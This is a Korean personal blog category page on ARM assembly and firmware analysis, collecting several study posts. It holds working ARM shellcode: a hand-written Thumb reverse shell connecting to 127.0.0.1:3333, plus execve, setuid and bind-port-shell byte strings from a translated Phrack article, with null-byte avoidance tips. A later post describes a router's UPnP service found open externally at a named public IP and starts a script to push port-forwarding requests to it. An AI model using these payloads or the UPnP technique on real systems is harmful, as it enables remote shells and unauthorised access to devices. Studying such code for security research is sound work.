'ARM & 펌웨어 분석'에 해당되는 글 26건

  1. 2014.10.24 ARM 어셈블리 코딩 연습 (ARM reverse shellcode 만들기 )
  2. 2014.10.13 binwalker 사용법 관련 블로그 링크
  3. 2014.10.07 ARM shellcode 만들기 prack 번역 ~
  4. 2014.09.11 Android gdb, gcc binary 파일
  5. 2012.12.22 [비공개] iptime G104 7.60v
  6. 2012.12.18 ARM 쉘코드 만들기(To make shellcode in ARM architecture)
  7. 2012.12.06 IDA 에서 __OFSUB__ 이란? (what is __OFSUB__ in IDA pro?)
  8. 2012.12.02 UPNP XML 로 포트 포워딩하는 프로토콜 분석 (Analysis of port forwarding packet via UPNP)
  9. 2012.12.01 공유기 UPNP 로 포트포워딩처럼 열어주는 프로그램
  10. 2012.11.30 [펌] upnp 접속 개발 구현 1
  11. 2012.11.14 CGI 분석 이야기 (The story of CGI analysis)
  12. 2012.11.13 CGI 환경 변수 정의 모음 (Group of CGI enviroment)
  13. 2012.11.13 [ 펌 ] How to Create a Shellcode on ARM Architecture
  14. 2012.11.13 ARM execve NOT NULL 27byte 1
  15. 2012.11.12 ARM core execve("/bin/sh") shellocde
  16. 2012.11.12 qemu for window 에서 포트포워딩 하여 내부에 접속하기 (How to networking in qemu)
  17. 2012.11.07 strchr() 의 사용 법
  18. 2012.11.06 LOWORD , HIWORD, LOBYTE, HIBYTE 메크로.
  19. 2012.11.06 ICV 란? (what is Integrity Check Value?)
  20. 2012.11.06 IOCTL 함수와 이해 (understanding for IOCTL function)
  21. 2012.10.31 펌웨어 분석 1단계, bin 파일 까기. (Firmware analysis method Unpack Bin file )
  22. 2012.10.23 [ARM 크로스 컴파일 환경 구축하기 ] 1
  23. 2012.10.15 [ 10/15 ARM 분석 연습 ] ARM 분석연습.
  24. 2012.10.11 [ 10/11 ARM9 일기] 어셈블리 디버깅 연습 1
  25. 2012.10.03 [ ARM assembly 공부 ] 1. 기본 내용
  26. 2012.09.24 [ ARM Assambly ] 공부 시작!
2014. 10. 24. 10:06

ARM 어셈블리 코딩하는데 생각한 노하우


---------------------------------------------------------------------------------

1. 일단 C 로 원형을 짠다.  =  write(1,"/bin/sh\x00",8);

2. 인자값 타입과 갯수를 아래에 정리한다. ( 포인터 값이 있는지 확인 )

   int write( int fd, void * buff, size_t t  )

3. system call number 확인한다  write == 4

4. designing 하기 return r0 _ r7( r0, r1, r2 ) 

5. 워드값 구성 작성

   1byte = .byte , 2byte = .short,  4byte =.word 닥치는 대로 하나의 함수 맨 아래쪽에 쓰면됨.

6. 인자값을 구성해야함 숫자 값은 최대 255까지 이고, 더 큰값은 add 로 더해서 맞춰 줘야함. 

    ( 권한은 8진수임 0777 일 경우 255+255+1 임 ) 

7. 인자값이 주소값으로 리턴되는 부분은 아닌지 판단하고 주소값으로 넘어가는 부분일 시

   sp + 4 ( 다음주소에) 한번 str 시키고, 그 sp +4 를 다시  add 를 통해 가져옴.  

   (ldr 은 값을 가져오기때문에 안됨 )

8. (objdump 로 떠본 후 ) sub inst, inst, inst 로 널값 제거

   (string 관련널은 +1 을 해준뒤 -1 을 해주는 방식으로 구현 

9. string 이 들어가는 인자값을 PC 카운터를 더하고 갯수를 세어 string 값을 가르키게함. 

 (사이에있는 인스트럭션 갯수를 더해준다는 생각으으로 하면 좋음  thumb*2 ARM*4 byte )

11. 컴파일. 

----------------------------------------------------------------------------------

// ARM reverse shellcode practice 

//     IP : 127.0.0.1    PORT 3333 

//     .word 0x050d0002 .word 0x0100007f

// 아직 string 으로 인한 널값을 제거하지 못함.

//



.global _start


#char *sh[2] = {"/bin/sh", NULL};


#int main()

#       sock = socket(PF_INET, SOCK_STREAM, 0);

#        serv_addr.sin_family = AF_INET;

#        serv_addr.sin_addr.s_addr = inet_addr(IP);

#        serv_addr.sin_port = htons(PORT);


        _start :

                .code 32


                        add r3, pc ,#1

                        bx      r3


                .code 16



# socket -- system call is 281

# socket(2,1,0 )

# r0=sock       r7=281   ( r0=2, r1=1, r2=0 )


                        mov r7, #255

                        add r7, #26

                        mov r0, #2

                        mov r1, #1

                        sub r2,r2,r2

                        svc 1


# connect -- system call is 283

# r0    =       r7 = 283        ( r0 = sock(return value) , r1 = &server_addr , r2 = 16 )

# server_addr.sin_family = AF_INET

# server ???                PORT   02(?)     1.0.0.127

# 0xa010 <serv_addr>:     0x050d00 02      0x0100007f

                        mov r8, r0

                        mov r7, #255

                        add r7, #28

                        mov r1, pc

                        add r1, #4

                        mov r2, #16

                        svc 1

                        .word 0x050d0002

                        .word 0x0100007f


# dump2 -- system call is 63

# dup2(sock,0);

# dup2(sock,1);

# dup2(sock,2);

#

# r0 -> sock structure

# r6 = r0

# r0    r7=64   ( r0 = r6, r1 = 0 );

# r0    r7=64   ( r0 = r6, r1 = 1 );

# r0    r7=64   ( r0 = r6, r1 = 2 );

                        mov r7 , #64

                        mov r0, r8

                        sub r1, r1, r1

                        mov r1, #0

                        svc 1

# r8= 4

                        mov r7, #64

                        mov r0, r8

                        mov r1, #1

                        svc 1

# r8=4

                        mov r7, #64

                        mov r0, r8

                        mov r1, #2

                        svc 1



# execve -- system call is 11

# char * buff[] = {"/bin/ls\x00",NULL};

# execve(buff[0],buff, 0);

# r0 r7 = 11 ( r0 = buff, r1= &buff, r2 = 0 )

# .word nib/

# .word sl/



                        mov r7 ,#11

                        sub r2, r2, r2

                        mov r0, pc

                        add r0, #10

                        str r0, [sp,#4]

                        sub r4, r4, r4

                        str r4, [sp,#8]

                        add r1, sp, #4

                        svc 1

                        .byte 0x2f

                        .short 0x7973

                        .word 0x6d657473

                        .word 0x6e69622f

                        .word 0x0068732f


# close -- system call is 6

# close(sock) sock = r6

# r0    r7 = 6  ( r0 = r6(sock) )


                        mov r7, #6

                        mov r0, r8

                        svc 1




Posted by k1rha
2014. 10. 13. 20:29

frimmod kit 도 binwalker 를 잘활용한 모드킷이라고 함.

만능은 아니기 때문에 빈워커의 사용법도 익혀둬야함.


binwalker 사용법 관련 블로그 링크


http://hasu0707.tistory.com/589 // binwalker 사용법에 대한 이야기 

http://hackability.kr/archive/201409 //binwalker 를 이용한 대회 문제 풀이 -> 가장 세세함.



codegate 2014 문제로 보는 biinwalker 사용법 예시

 

binwalker download : https://github.com/devttys0/binwalk

./configure  && make && make install

 

 

root@k1rh4:~/Binwalk# binwalk disk-image


DECIMAL       HEXADECIMAL     DESCRIPTION

--------------------------------------------------------------------------------

0             0x0             Linux EXT filesystem, rev 1.0 ext3 filesystem data, UUID=bc6c2b24-106a-4570-bc4f-ae09abbdabbd

72704         0x11C00         Linux EXT filesystem, rev 1.0 ext3 filesystem data, UUID=bc6c2b24-106a-4570-bc4f-ae09abbdabbd

1113088       0x10FC00        ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV)

1116896       0x110AE0        LZMA compressed data, properties: 0x89, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes

1117024       0x110B60        LZMA compressed data, properties: 0x9A, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes

1117216       0x110C20        LZMA compressed data, properties: 0xB6, dictionary size: 16777216 bytes, uncompressed size: 33554432 bytes

1117408       0x110CE0        LZMA compressed data, properties: 0xD8, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes

 


 

root@k1rh4:~/Binwalk# dd if=./disk-image of=./binary ibs=1 skip=1113088

984064+0 records in

1922+0 records out

984064 bytes (984 kB) copied, 0.513622 s, 1.9 MB/s

root@k1rh4:~/Binwalk# file binary

binary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x0bc06819ef5f9b1c94cbffa944b767cbf442c9aa, not stripped

root@k1rh4:~/Binwalk#

 

dd 명령

if   =  입력 파일

of  = 출력 파일

ibs = 읽을 바이트 단위

skip =  건너뛸 바이트 수

 

binwalk를 통해 elf 파일의 위치가 0x10FC00 (1113088)임을 알았기 때문에 위와 같이 실행하면 다음과 같은 elf 파일이 떨어지게 되됨

 



Posted by k1rha
2014. 10. 7. 19:11

                             ==Phrack Inc.==


               Volume 0x0b, Issue 0x3a, Phile #0x0a of 0x0e


|=--------------=[ Developing StrongARM/Linux shellcode ]=---------------=|

|=-----------------------------------------------------------------------=|

|=--------------------=[ funkysh <funkysh@sm.pl> ]=----------------------=|


ARMS 소개 


이문서는 강력한 ARM 리눅스 쉘코드작성을 필요로 하는 정보이다.



ARM Architecture

32bit ARM 프로세서는 RISC 구조로 디자인 되어있다.

이의미는 이것은 CISC 보다 instruction을 줄일 수 있다.

줄어든 instruction 세트는 스피드에 최적화 된다. 

예를들어 파이프라이닝이나 hard-wired logic 에서 최적화된다.

또한 instruction 과 주소체제 방식은 모든것을 명확하게 한다.

ARM 은 load/store 구조인데, 이것은 오직 레즈스터에 의해서만 데이터처리가

가능하단 것을 의미한다. 메모리에 직접 데이터를 입출력하는 것은 불가능하다.

메모리 입출력은 load/sotre 의 multiple instructions 과 실행상태의 모든 instruction 로 가능하다. 

명맥하게 모든 instruction은 32비트의 길이를 가진다. (4바이트) 


ARM 은 16개의 32비트 레지스터로 구성되어 있다.이는 R0 ~ R15(pc) 까지 가지게 된다. 간략하게 말해서 13개의 '일반적인 목적' 을가지는 레지스터 r0 - r12 를 가진다.

( r0 - r7은 저장되지 않는 레지스터이고 이것은 32-bit 의 모든 프로세서안에 물리적 레지스터라는 것을 의미한다.

이것들은 특별하게 사용되지는 않는다. 그리고 그것은 자유롭게 일반적인 목적으로 사용될 수 있는 레지스터이다. 

반면에 3개의 특별한 목적의 레지스터가 있다. ( 엄밀히 말하면 15개의 레지스터는 모두 일반적인 레지스터이다) 


r13(sp) - stack pointer

r14(lr) - link register

r15(pc/psr) - program counter / status register


레지스터 r13 은 sp 로 알려저 있고 이는 종종 stack pointer 로 사용된다.

그리고 link register 는 함수나 서브루틴 에 사용된다. 


link register - r14 는 lr 로 불리며, 이는 리턴되는 주소값을 저장한다.

서브루틴 호출이 수행될때 BL instruction 은 r14에 return 주소를 셋팅 시킨다.

그리고 서브루틴에서 돌아올때 r14는 PC 에 다시 복사를 하여 되돌아온다. 


ARM에서의 stack 은 낮은 메모리방향으로 자란다. 그리고 스택포인터는 

마지막 아이템에 씌여지게 된다. 이것을 full desecending stack 이라고 부른다.

예를들어 0x41 과 0x42가 스택에 배치되는 것은 아래와 같다.


      memory address   stack value 


                      +------------+

          0xbffffdfc: | 0x00000041 |

                      +------------+

   sp ->  0xbffffdf8: | 0x00000042 |

                      +------------+




---[  Instruction set


 ARM 위에 작성됨에 따라 다른 RISC CPU들은 모두 고정된 길이의 instruction을 가지게 되었따. 이것은 또한 모든 instruction 은 상태 레지스터가 될수 있다는 것이다.

그래서 상위 4비트 (31-28)는 instruction 이 실행되는 동안 모두 특별한 상태로 사용된다.


Instruction 은 4가지의 class 로 나뉘어 질수 있다.

 

 - branch instructions

 - load / store instruction

 - data-processing instructions,

 - exception-generating instructions,



 1. Branch instructions

    -------------------

 분기 instruction 에는 2가지 종류가 있다.


 branch:            b  <24 bit signed offset>

 branch with link:  bl <24 bit signed offset>


branch with link 실행 하는것은 다음 instruction의 주소와 함께하는  'lr' 셋팅과 함께 출력된다. 



 2. Data-processing instructions

    ----------------------------

 데이터 처리 instrunction 은 일반적으로 3-주소체제 를 사용한다.

 

 < op code > < 목적지 > < operand 1 > < operand 2 >


< 목적지 > 는 항상 register 이다.  < operand 1 > 역시 r0~ r15 레지스터중 한개여야만한다. 그리고 < operand 2 > 레지스터 일수도 있지만, shift 된 레지스터나 즉시 적용되는 상수 값일수도 있다. 


 < 예시 >

  -----------------------------+----------------+--------------------+

              addition:   add  | add r1,r1,#65  | set r1 = r1 + 65   |

          substraction:   sub  | sub r1,r1,#65  | set r1 = r1 - 65   |

           logical AND:   and  | and r0,r1,r2   | set r0 = r1 AND r2 |

  logical exclusive OR:   eor  | eor r0,r1,#65  | set r0 = r1 XOR r2 |

            logical OR:   orr  | orr r0,r1,r2   | set r0 = r1 OR r2  |

                  move:   mov  | mov r2,r0      | set r2 = r0        |



 3. Load and store instructions

    ---------------------------

 메모리로부터 적재하는 레지스터 ldr rX , <address >

 예를들어 ldr, r0, [r1 ] 는 r0 와함께 r1의 1word 의 32 비트가 지정된다. 

또한 LDRb intruction 은 합리적으로 8 bit 만을 가져온다. 


  store register in memory:  str rX,  <address>     (store 32 bits)

                             strb rX, <address>    (store 8 bits)



ARM 은 multiple 레지스터의 sotreing / loading 역시 지원한다. 

이것은 최적화 관점에서 봤을때 매우 흥미로운 특징이다.

stm (store multiple registers in memory) 부터 살펴보면 아래와같다.


stm < base register > <stack type>(!), { register list }


 < base register > 은 어떠한 레지스터든 상관없다. 그러나 전형적으로 stack pointer 가 사용된다. 

예를들어 : stmfd sp!, {r0-r3, r6} 은 r0, r1, r2 ,r3 와 r6 에 stack의 값이 저장된다. ( full decending mode dptjsms stm 이후에 fd가 붙는다.) 

stack pointer는 r0 레지스터가 저장된 곳을 가르키게 된다. ( ! 때문 ) 

비슷하게 load of multiple register들도 같은 방식을 사용한다. : ldm 



 4. Exception-generating instructions 

    ---------------------------------


Software interrupt : swi < number > 는 system call로써 사용된다.


여기에 언급된 레지스터들은 완벽하지 않지만 다른 문서를 통해 더 많은것을 알아보길 바란다.



---[  Syscalls


 강력한 ARM 프로세서와 함꼐하는 리눅스에서는 syscall 기반은 0x900000로 옴겨졌다.

이것은 쉘코드를 작성하는데 좋은 움직임은 아니다. 그 이후로 우리는 instruction들의 opcode의 zero byte를 조절해야 한다.


예를들어 exit syscall 의 경우


swi 0x900001   [ 0xef900001 ]

가 되어야한다  ( 무슨말이지?)


여기에 쉘코드를 작성할때 유용한 시스템콜 리스트가 있다.  ( syscall의 return 값을 보통 r0에 저장된다)



       execve:

       ------- 

               r0 = const char *filename

               r1 = char *const argv[]

               r2 = char *const envp[]

      call number = 0x90000b

 


       setuid:

       ------- 

               r0 = uid_t uid

      call number = 0x900017



         dup2:

         ----- 

               r0 = int oldfd

               r1 = int newfd

      call number = 0x90003f



       socket:

       ------- 

               r0 = 1 (SYS_SOCKET)

               r1 = ptr to int domain, int type, int protocol

      call number = 0x900066 (socketcall)



         bind:

         ----- 

               r0 = 2 (SYS_BIND)

               r1 = ptr to int  sockfd, struct sockaddr *my_addr, 

                    socklen_t addrlen

      call number = 0x900066 (socketcall)



       listen:

       ------- 

               r0 = 4 (SYS_LISTEN)

               r1 = ptr to int s, int backlog

      call number = 0x900066 (socketcall)



       accept:

       ------- 

               r0 = 5 (SYS_ACCEPT)

               r1 = ptr int s,  struct  sockaddr  *addr,

                    socklen_t *addrlen 

      call number = 0x900066 (socketcall)




---[  Common operations 


 

 Loading high values 

 -------------------


모든 상태와 레지스터 숫자가 32bit word 를 나타내고, op코드역시 32bit 이기때문에, 하나의 instruction 안에 레지스터 속의 높은 값은 즉시 로딩 된다. 

이러한 문제는 'shifting' 이라불리는 특징에 의해 해결 될 수 있게된다.

ARM 어셈블리는 6개의 연상되는 shift type이 존재한다. 


           lsl -  logical shift left

           asl -  arithmetic shift left

           lsr -  logical shift right

           asr -  arithmetic shift right

           ror -  rotate right

           rrx -  rotate right with extend


sfifter 는 data 처리 instruction과 함께 처리될수 있다. 또한 ldl 과 str instruction과도 함께 사용된다. 


예를들어 r0 와 0x900000 를 load 하기 위해 우리는 아래의 명령어를 수행할 수 있다.

         mov   r0, #144           ; 0x90

         mov   r0, r0, lsl #16    ; 0x90 << 16 = 0x900000




 Position independence

 ---------------------


 자신의 코드의 위치를 얻는것은 매우 쉽다. PC 는 일반적인 목적의 레지스터이다.

그리고 심지어 어떠한 순간에서든 32bit 값의 메모리 어디든지 jump 를 할수 있다

예를 들어 아래와 같다. 실행 후 : 


         sub   r0, pc, #4


다음 instruction 은 r0 에 저장된다. 

다른 방법으로는 link 와 함께하는 branch instruction 에서 사용될 수 있다.


         bl    sss

         swi   0x900001

  sss:   mov   r0, lr


지금 r0 의 주소값은 "swi 0x900001" 을 가르키고 있다.



 

 Loops

 -----


 3번을 반복하는 반복문에 대해서 이야기해보자. 

전형적인 반복문은 아래와같이 구조화 될수 있다.


         mov   r0, #3     <- loop counter

 loop:   ...    

         sub   r0, r0, #1 <- fd = fd -1 

         cmp   r0, #0     <- check if r0 == 0 already

         bne   loop       <- goto loop if no (if Z flag != 1)


이러한 반복은 subs에 의해 최적화 될수 있고 이러한 반복은 Z flag를 셋팅하여

우리가 r0 에 도달했을때 cmp 구문을 종료 시키는데 쓰인다.


 

         mov   r0, #3

 loop:   ...

         subs  r0, r0, #1

         bne   loop



 Nop instruction

 ---------------


ARM 에서는 "mov r0,r0 " 는 nop 으로 사용된다. 그러나 이것은 null 도 같이 따르게 된다. 그래서 이러한 "중간 생략" instruction 은 취약점을 보여주는 POC 작성때만 써야한다.


         mov   r1, r1    [ 0xe1a01001 ]

          


---[  Null avoiding


대부분의 r0 레지스터를 사용하는 instruction 은 '0' 이다. 

이는 보통 다른 instruction으로 대체되거나 자체 수정된다. 


예시)

             e3a00041    mov   r0, #65      can be raplaced with:

   

             e0411001    sub   r1, r1, r1

             e2812041    add   r2, r1, #65

             e1a00112    mov   r0, r2, lsl r1  (r0 = r2 << 0)



 아래의 방법으로 syscall 은 patch 될수 있다.


             e28f1004    add   r1, pc, #4    <- get address of swi

             e0422002    sub   r2, r2, r2    

             e5c12001    strb  r2, [r1, #1]  <- patch 0xff with 0x00

             ef90ff0b    swi   0x90ff0b      <- crippled syscall

 

 Store/Load multiple also generates 'zero', even if r0 register is not

 used:

 

             e92d001e    stmfd sp!, {r1, r2, r3, r4}

 

 In example codes presented in next section I used storing with link

 register:


             e04ee00e    sub   lr, lr, lr

             e92d401e    stmfd sp!, {r1, r2, r3, r4, lr}







---[  Example codes



/*

 * 47 byte StrongARM/Linux execve() shellcode

 * funkysh

 */


char shellcode[]= "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x1c\x30\x8f\xe2"   /*  add   r3, pc, #28 (0x1c)    */

                  "\x04\x30\x8d\xe5"   /*  str   r3, [sp, #4]          */

                  "\x08\x20\x8d\xe5"   /*  str   r2, [sp, #8]          */

                  "\x13\x02\xa0\xe1"   /*  mov   r0, r3, lsl r2        */

                  "\x07\x20\xc3\xe5"   /*  strb  r2, [r3, #7           */

                  "\x04\x30\x8f\xe2"   /*  add   r3, pc, #4            */

                  "\x04\x10\x8d\xe2"   /*  add   r1, sp, #4            */

                  "\x01\x20\xc3\xe5"   /*  strb  r2, [r3, #1]          */

                  "\x0b\x0b\x90\xef"   /*  swi   0x90ff0b              */

                  "/bin/sh";



/*

 * 20 byte StrongARM/Linux setuid() shellcode

 * funkysh

 */


char shellcode[]= "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x04\x10\x8f\xe2"   /*  add   r1, pc, #4            */

                  "\x12\x02\xa0\xe1"   /*  mov   r0, r2, lsl r2        */

                  "\x01\x20\xc1\xe5"   /*  strb  r2, [r1, #1]          */

                  "\x17\x0b\x90\xef";  /*  swi   0x90ff17              */



/*

 * 203 byte StrongARM/Linux bind() portshell shellcode

 * funkysh

 */


char shellcode[]= "\x20\x60\x8f\xe2"   /*  add   r6, pc, #32           */

                  "\x07\x70\x47\xe0"   /*  sub   r7, r7, r7            */

                  "\x01\x70\xc6\xe5"   /*  strb  r7, [r6, #1]          */

                  "\x01\x30\x87\xe2"   /*  add   r3, r7, #1            */

                  "\x13\x07\xa0\xe1"   /*  mov   r0, r3, lsl r7        */

                  "\x01\x20\x83\xe2"   /*  add   r2, r3, #1            */

                  "\x07\x40\xa0\xe1"   /*  mov   r4, r7                */

                  "\x0e\xe0\x4e\xe0"   /*  sub   lr, lr, lr            */

                  "\x1c\x40\x2d\xe9"   /*  stmfd sp!, {r2-r4, lr}      */

                  "\x0d\x10\xa0\xe1"   /*  mov   r1, sp                */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (socket) */

                  "\x10\x57\xa0\xe1"   /*  mov   r5, r0, lsl r7        */

                  "\x35\x70\xc6\xe5"   /*  strb  r7, [r6, #53]         */

                  "\x14\x20\xa0\xe3"   /*  mov   r2, #20               */

                  "\x82\x28\xa9\xe1"   /*  mov   r2, r2, lsl #17       */

                  "\x02\x20\x82\xe2"   /*  add   r2, r2, #2            */

                  "\x14\x40\x2d\xe9"   /*  stmfd sp!, {r2,r4, lr}      */

                  "\x10\x30\xa0\xe3"   /*  mov   r3, #16               */

                  "\x0d\x20\xa0\xe1"   /*  mov   r2, sp                */

                  "\x0d\x40\x2d\xe9"   /*  stmfd sp!, {r0, r2, r3, lr} */

                  "\x02\x20\xa0\xe3"   /*  mov   r2, #2                */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x0d\x10\xa0\xe1"   /*  mov   r1, sp                */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66       (bind) */

                  "\x45\x70\xc6\xe5"   /*  strb  r7, [r6, #69]         */

                  "\x02\x20\x82\xe2"   /*  add   r2, r2, #2            */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (listen) */

                  "\x5d\x70\xc6\xe5"   /*  strb  r7, [r6, #93]         */

                  "\x01\x20\x82\xe2"   /*  add   r2, r2, #1            */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x04\x70\x8d\xe5"   /*  str   r7, [sp, #4]          */

                  "\x08\x70\x8d\xe5"   /*  str r7, [sp, #8]          */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (accept) */

                  "\x10\x57\xa0\xe1"   /*  mov   r5, r0, lsl r7        */

                  "\x02\x10\xa0\xe3"   /*  mov   r1, #2                */

                  "\x71\x70\xc6\xe5"   /*  strb  r7, [r6, #113]        */

                  "\x15\x07\xa0\xe1"   /*  mov   r0, r5, lsl r7 <dup2> */

                  "\x3f\xff\x90\xef"   /*  swi   0x90ff3f       (dup2) */

                  "\x01\x10\x51\xe2"   /*  subs  r1, r1, #1            */

                  "\xfb\xff\xff\x5a"   /*  bpl   <dup2>                */

                  "\x99\x70\xc6\xe5"   /*  strb  r7, [r6, #153]        */

                  "\x14\x30\x8f\xe2"   /*  add   r3, pc, #20           */

                  "\x04\x30\x8d\xe5"   /*  str r3, [sp, #4]          */

                  "\x04\x10\x8d\xe2"   /*  add   r1, sp, #4            */

                  "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x13\x02\xa0\xe1"   /*  mov   r0, r3, lsl r2        */

                  "\x08\x20\x8d\xe5"   /*  str   r2, [sp, #8]          */

                  "\x0b\xff\x90\xef"   /*  swi 0x900ff0b    (execve) */

                  "/bin/sh";


Posted by k1rha
2014. 9. 11. 08:56

Android gdb, gcc  파일 



http://codetronik.tistory.com/26  // 다운로드 출처 

// gcc 용량은 너무 커서 7zip 으로 풀어줘야함. 


설치 방법 :

adb shell mkdir /data/local/gcc
adb push android_gcc_r2a.tar.bz2 /data/local/gcc
adb push android_gcc_supplement.tar.bz2 /data/local/gcc
adb push android_R_r1a2.tar.bz2 /data/local/gcc
adb shell
cd /data/local/gcc
tar xjf android_gcc_r2a.tar.bz2
tar xjf android_gcc_supplement.tar.bz2
tar xjf android_R_r1a2.tar.bz2

환경 변수 등록 : bashrc

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/data/local/gcc/lib
export PATH=$PATH:/data/local/gcc/bin


Posted by k1rha
2012. 12. 22. 00:59

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 12. 18. 23:32

ARM 쉘코드 만들기(To make shellcode in ARM architecture)



ARM 프로세서는 일반적인 32비트 인스트럭션 셋을 제공하는 ARM 모드와, 16비트 인스트럭션 셋을 제공하는 Thumb 모드가 있다모든ARM 프로세서가 Thumb 모드를 지원하진 않고 ARM7 TDMI처럼 프로세서 이름에 T가 들어있는 제품군이 Thumb 모드를 지원하게 된다.

(Ex. ARM8 ARM7T ARM9T StringARM...)


ARM 프로세서는 총 16개의 레지스터가 존재한다 (R0~ R15 +PC)


R13 이 바로 스택포인터(Stack Pointer)로 사용되어 지진다.


R14 가 링크레지스터(LR) 가 된다. 이 R14는 링크레지스터(LR)로 사용된다. 이 R14가 실제로 함수가 호출될 시 리턴 어드레스를 담고 있다. 


R15(Program Counter)는 다른 PCU에서 PC 와 같은 역할을 한다. 





ARM 중요 명령어 


BEQ 나 MOV종류의 명령어들은 모두 조건을 걸 수 있따.


SWI : Software Interrupt 의 약어로 X86프로세서에서의 INT 명령어에 해당한다.



STMFD : sp!, {r4-r6,lr}; 스택에 r4-r6 와 lr 레지스터를 저장하고 sp를 그만큼 감소 시킨다.

LDMFD : sp!, {r4-r6,pc}; 스택에서 r4-r6와 pc를 복원하고 sp를 그만큼 증가 시킨다.




이렇게 두가지 모드를 제공하는 이유는 열약한 환경에서의 최적화를 하기 위함이다.


ARM 쉘코드를 만들때의 특성

1.범용레지스터 : r0-r7


2.push / pop 에 대한 것을 잘 사용하지 않음


3. 최대 가능수치 : 255


4.레지스터 변위에 대한 제한

{R13, R14, R15, R16} = {sp,lr,pc,cpsr}


5.ARM <---> Thumb

Thumb 모드의 T비트는 CPSR 에서 1만큼 떨어져 있다.


6.Branch Exchange (bx addr) 

분기점은 BX로 처리한다.


7.파라미터값들은 r0,r1,r2.. 같이 범용 레시즈터를 사용 한다.


 .global main

main:

.CODE 32

add r2,pc,#1

bx r2

.CODE 16

thumb:



헤더의 참조는 /usr/src/linux/arch/arm/include/arm/unistd.h 와 같음

(X86 코드와 똑같다)




R7 레지스터가 함수 호출번호를 담당한다.

svc 를 통해 커널을 직접 호출가능하다.

return 형은 함수호출 이후 r0 레지스터에 저장된다.



PUSH POP 을사용하지 말고 직접 쓰라는 것은 아래예시를 비교해 보면 알 수 있다.





위에서보기에 왼쪽은 같은 코드도 push pop 으로 파라미터값을 조절했고 오른쪽은 레지스터에 직접 담어 호출하도록 되어 있다.

오른쪽처럼 코딩하는것을 권장 한다. 




널값 제거하기


쉘코드를 공격코드로 사용하려면 NULL 을 회피하는 방법을 알아야한다.

R0를 사용하면 NULL이 포함되어 저장이 된다. 이를 피하기위해 Phrack 58호에서 소개된 방법들이다.




 Orignal

 Brand New

 e3a0041    mov   r0,    #65

 e0411001  sub r1,r1,r1

 e2812041   add r2, r1, #65

 e1a00112   mov  r0, r2, lsl r1(r0 = r2<<0)

 

 systemcall


e28f1004  add r1,pc,#4 <- get address of swi

e0422002 sub r2,r2,r2

e5c12001 strb r2, [r1,#1]

ef90ff0b  swi 0x90ff0b

   
   
   





Posted by k1rha
2012. 12. 6. 23:02

IDA 에서 __OFSUB__ 이란? (what is __OFSUB__ in IDA pro?)



__OFSUB__



v13 = __OFSUB__(oneWord_URL_ARGV,'=');


라는 구절을 발견  구글링 검색 결과 


No there isn't. To me this looks more like a define because of the __ before and after the name... 

 아니요 그렇치 않습니다. __ 뒤에 그리고 앞에 이름이 붙은것은 단순한 정의 이상으로 보입니다.


Anyways, it's not defined nor declared anywhere in the generated output.
어쨌거나  이것은 어디선가 정의되어 있지 않거나 일반적인 아웃풋이 없는 경우에 나타냅니다.


Thanks for trying to help though..

땡큐~ 

Posted by k1rha
2012. 12. 2. 01:51

공유기 펌웨어의 upnp 라는것이 존재 하기에, 좀더 편리하게 홈 네트워크를 구축 할 수 있다.

대부분의 공유기는 이러한 편의를 제공하기 위해 UPNP를 default 설정을 ON 으로 해놓는다.

하지만 이러한 포트가 외부로 열려 있는 경우가 있다. 어떤 회사인지는 공개하지 않겠음) 



공유기에 있는 IP 로 (210.118.64.148) 스캐닝을 한 결과이다. 

[사내 아이피으로 절대 동일 스캔을 날리지 마세요 법적 제제를 하겠습니다.)

 이중에 관심깊게 볼 부분은(펌웨어 분석을통한 포트 2048) 이다.



OPTIONS * HTTP/1.1 을 이용하여 하여 UPnP/1.0  버젼이 있음을 알수 있다.

uPnP는 토론토등이 사용하고 있다고 알고 있어 처음에는 토렌토 패킷을 분석했으나, 잡패킷이 너무많아 아니다 싶었다.

바로 다른 uPnP 패킷을 잡을수 있는 프로그램을 구했는데, 내부망에서만 구현이 가능토록 설계된 프로그램이다. 

(스캔과정을 거쳐서 접속할 대상을 고르기 때문에..)


간단한 분석을 위하여 이전 글에 올린 PORTMapper 로 upnp 포워딩을 설정하는 장면이다.




위 그림은 포트매핑을 하는 그림이다. 이그림에서 RemoteHost 부분을 공백으로 할시에는 모든 패킷을 통과 시킨다. 

그리고 TCP 80번 (웹패킷) 만 포워딩을 시켜 간단하게 어떠한 구도로 가는지 봐보자 


이과정을 가질때 패킷을 wireshark 로 잡아보면 아래와 같다.



 3  hand shaking 이 있은 뒤에 PSH,ACK 를 통해 이렇게 POST 값으로 얼마만큼의 패킷이 갈지 결정된 뒤에, 아래와 같이 XML 형식으로 어떠한 설정을 할지 결정해 준다.




이 과정에서 얻은 패킷을 문자열로 바꿔 보면 아래와 같다. 



웹통신 규약에 맞추어 개행을 해주고 이를 소켓으로 쏴주면 아름답게 포워딩이 됨을 확인 할 수 있다.

이때 중요한 점은 HOST 부분에 LOCAL 아이피가 아닌 REMOTE환경에서의 아이피가 필요하다. 

import socket



IP = '210.118.64.148'

PORT = 2048



sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((IP,PORT))

#sock.send("OPTIONS * HTTP/1.0\r\n\r\n")


